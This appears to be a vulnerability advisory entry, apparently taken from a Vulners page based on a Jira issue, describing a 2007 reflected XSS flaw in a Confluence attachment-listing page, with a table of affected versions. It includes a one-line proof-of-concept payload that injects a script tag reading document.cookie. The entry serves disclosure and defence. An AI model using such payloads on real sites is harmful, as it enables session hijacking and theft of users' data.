XSS vulnerability in app/spaces/listattachmentforspace.action

2007-07-1912:41:10

b1e07ee35f09

jira.atlassian.com

Description:
XSS via the “Filter By File Extension” field in app/spaces/listattachmentforspace.action.

Exploit:
blah"><script>alert(document.cookie)</script><x x="

Affected configurations

Vulners

Node

atlassianconfluence_data_centerRange≤2.5.4

atlassianconfluence_data_centerRange<2.5.6

atlassianconfluence_data_centerRange<2.6.0

CPENameOperatorVersion
confluence data centerle2.5.4
confluence data centerlt2.5.6
confluence data centerlt2.6.0

Name	Operator	Version
confluence data center	le	2.5.4
confluence data center	lt	2.5.6
confluence data center	lt	2.6.0